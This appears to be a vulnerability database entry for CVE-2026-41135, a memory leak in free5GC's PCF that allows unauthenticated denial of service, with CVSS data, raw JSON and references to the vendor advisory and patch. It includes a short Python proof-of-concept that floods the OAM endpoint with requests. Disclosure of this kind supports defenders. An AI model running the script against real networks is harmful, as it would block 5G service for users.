Security Vulnerability Report
中文
CVE-2026-41135 CVSS 7.5 HIGH

CVE-2026-41135

Published: 2026-04-22 00:16:29
Last Modified: 2026-04-23 19:41:18

Description

free5GC UDR is the Policy Control Function (PCF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. A memory leak vulnerability in versions prior to 1.4.3 allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment. Version 1.4.3 contains a patch.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:free5gc:pcf:*:*:*:*:*:*:*:* - VULNERABLE
free5GC PCF < 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # PoC for CVE-2026-41135 # Target: free5GC PCF OAM endpoint # Description: Sends repeated HTTP requests to trigger memory leak via CORS middleware accumulation. target_url = "http://<TARGET_IP>:<PORT>/oam" # Replace with actual OAM endpoint def exploit(): print(f"Starting attack on {target_url}...") try: while True: # Send repeated HTTP requests response = requests.get(target_url, timeout=5) print(f"Sent request. Status: {response.status_code}") time.sleep(0.1) # Adjust frequency as needed except KeyboardInterrupt: print("Attack stopped by user.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41135", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:29.287", "lastModified": "2026-04-23T19:41:18.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "free5GC UDR is the Policy Control Function (PCF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. A memory leak vulnerability in versions prior to 1.4.3 allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment. Version 1.4.3 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.2.1", "matchCriteriaId": "AA20AB40-343A-4B48-9B29-2A700DEC58B8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:pcf:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "D448EB44-7640-4EDB-BAB8-DD7D46DBEBC1"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/free5gc/pcf/commit/599803b1b2eb4611e26d5216481ee142bce71a16", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}